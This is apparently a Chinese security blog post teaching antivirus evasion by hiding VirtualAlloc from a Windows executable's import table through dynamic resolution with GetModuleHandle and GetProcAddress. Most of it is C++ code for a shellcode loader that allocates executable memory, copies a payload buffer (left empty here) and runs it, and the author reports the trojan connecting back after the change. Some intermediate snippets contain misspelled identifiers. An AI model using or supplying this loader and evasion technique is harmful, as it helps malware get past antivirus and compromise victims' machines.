免杀笔记 ----> 动态调用

前一段时间不是说要进行IAT表的隐藏吗,终于给我逮到时间来写了,今天就来先将最简单的一种方式 ----> 动态调用!!!

1.静态查杀

这里还是说一下我们为什么要对他进行隐藏呢??? 首先就是我们的杀软规则

::我的静态查杀很强

对于杀软,像上面说的赛门铁克,它的静态查杀就很强!! 而他们又是怎么静态查杀的呢???

IAT表 (还记不记得我以前说这个玩意在免杀里面很重要!!!)

我们自己随便拉一个简单的木马看看导入表,我们的导入表里面是能看见我们所用的WindowsAPI的,其中像这种 VirtualAlloc ,OpenProcess ,CreateThread 这种被查杀到就基本等死

这时候就有意思了,我们来看看Chrome这个exe的导入表

这么多危险函数,这不应该直接给他杀死??(我的马都没这么多危险函数)

::区别对待是吧。。。。。

但是你也不看看人家是什么exe,人家是微软的EXE啊!! 有数字签名的!!!

对于这种有数字签名的,它无论使用多么危险的函数,强如赛门铁克也是拿他没办法的!

那么我们又没办法拿到这个签名,我们应该怎么去免杀呢??

  1. 加壳 ,通过加壳我们可以实现导入一个假的IAT表
  2. 动态调用 ,其实就是在Ring3层对函数进行重写

2.动态调用

那么下面,我们就来讲一下我们的动态调用的用法。

我们先最简单的贴出来一段Loader

cpp 复制代码
#include<iostream>
#include<Windows.h>
using namespace std;
/* length: 891 bytes */
char buf[] = "";
int main()
{
    void * p = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	memcpy(p, buf, sizeof(buf));
	((void(*)())p)();
	return 0;
}

首先我们去看他的导入表,我们要去隐藏掉这个显眼包!!!

该怎么做呢,我们点进去这个函数

然后我们将这一段复制出来

cpp 复制代码
LPVOID
WINAPI
VirtualAlloc(
    _In_opt_ LPVOID lpAddress,
    _In_     SIZE_T dwSize,
    _In_     DWORD flAllocationType,
    _In_     DWORD flProtect
    )

然后我们这样写

cpp 复制代码
LPVOID  新的函数的名字(
    _In_opt_ LPVOID lpAddress,
    _In_     SIZE_T dwSize,
    _In_     DWORD flAllocationType,
    _In_     DWORD flProtect
    )
{
}

然后我们在中括号中先这样写

加了个括号,加了个TYEPDEF,并且将VirtualAlloc 改成了 *FN_VirtualAlloc

cpp 复制代码
typedef LPVOID (WINAPI *FN_VirtualAlloc)(
    _In_opt_ LPVOID lpAddress,
    _In_     SIZE_T dwSize,
    _In_     DWORD flAllocationType,
    _In_     DWORD flProtect
    )

然后我们去获取函数的HMODULE(是不是感觉有点熟悉,我们之前也在写DLL注入里面用过)

并且接收它(这个类型是Fn_Virtualloc,不是我们的Hide_VirtualAlloc!!)

cpp 复制代码
HMODULE VirtualAllocHandle = GetModuleHandleW(L"Kernel32.dll");
Fn_VirtualAlloc ptr = (Fn_VirtualAlloc)GetProcAddress(VirtualAlocHandle,"VirtuallAlloc");

然后照猫画虎的返回就是了

cpp 复制代码
  return ptr(lpAddress, dwSize, flAllocationType, flProtect);

然后我们就能在我们的函数中直接进行调用了!!!!!

cpp 复制代码
#include<iostream>
#include<Windows.h>
using namespace std;
/* length: 891 bytes */
/* length: 891 bytes */
unsigned char buf[] = "";



LPVOID  Hide_VirtualAlloc(
    _In_opt_ LPVOID lpAddress,
    _In_     SIZE_T dwSize,
    _In_     DWORD flAllocationType,
    _In_     DWORD flProtect
)
{
    typedef LPVOID(WINAPI* Fn_VirtualAlloc)(
        _In_opt_ LPVOID lpAddress,
        _In_     SIZE_T dwSize,
        _In_     DWORD flAllocationType,
        _In_     DWORD flProtect
        );
    HMODULE VirtualAllocHandle = GetModuleHandleW(L"KERNEL32.dll");
    if (VirtualAllocHandle == NULL)
    {
        VirtualAllocHandle = LoadLibraryW(L"KERNEL32.dll");
  
    }
    Fn_VirtualAlloc ptr = (Fn_VirtualAlloc)GetProcAddress(VirtualAllocHandle,"VirtualAlloc");
    return ptr(lpAddress, dwSize, flAllocationType, flProtect);

}
int main()
{
    void * p = Hide_VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	memcpy(p, buf, sizeof(buf));
	((void(*)())p)();
	return 0;
}

这时候我们再上线,发现是能成功上线的!!!

然后我们再去查看它的导出表,此时的VirtuallAlloc已经是消失了的!

这样,我们就实现了动态调用!!!!

相关推荐
浩浩测试一下13 天前
LoadPE &&& 原理以及作用 (ASM汇编版本)>>01
汇编·免杀·pe结构·windows编程·二进制逆向·系统loadpe
浩浩测试一下19 天前
汇编 数组与串指令(逆向分析)
汇编·逆向·二进制·免杀·串指令·汇编数组
浩浩测试一下19 天前
汇编 结构体与宏
汇编··免杀·结构体·windows编程·逆向二进制
浩浩测试一下22 天前
汇编 高低八位寄存器数据存储方式(逆向分析)
汇编·网络安全·逆向·二进制·免杀·寄存器·windows编程
浩浩测试一下1 个月前
堆栈中的 参数与局部变量 (逆向分析)
汇编·逆向·免杀·堆栈·windows编程·pe壳
合天网安实验室1 个月前
记录一个免杀的php webshell demo
渗透测试·php·webshell·免杀
wrold3 个月前
安全工具 | Fscan 魔改二开 · 特征消除与功能扩展
免杀·安全工具·二开·fscan·魔改·特征消除·功能扩展
恃宠而骄的佩奇5 个月前
蚁剑 php一句话木马简单免杀(编码)绕过360,火绒
开发语言·web安全·php·免杀·一句话木马·火绒安全
李白你好5 个月前
Webshell_Generate更新V1.2.6! | 各类webshell免杀,支持蚁剑、冰蝎、哥斯拉等
免杀
无名修道院6 个月前
渗透测试新手面试高频 50 题:原理 + 标准答案(2025)- 第三篇
网络安全·面试·职场和发展·渗透测试·内网渗透·免杀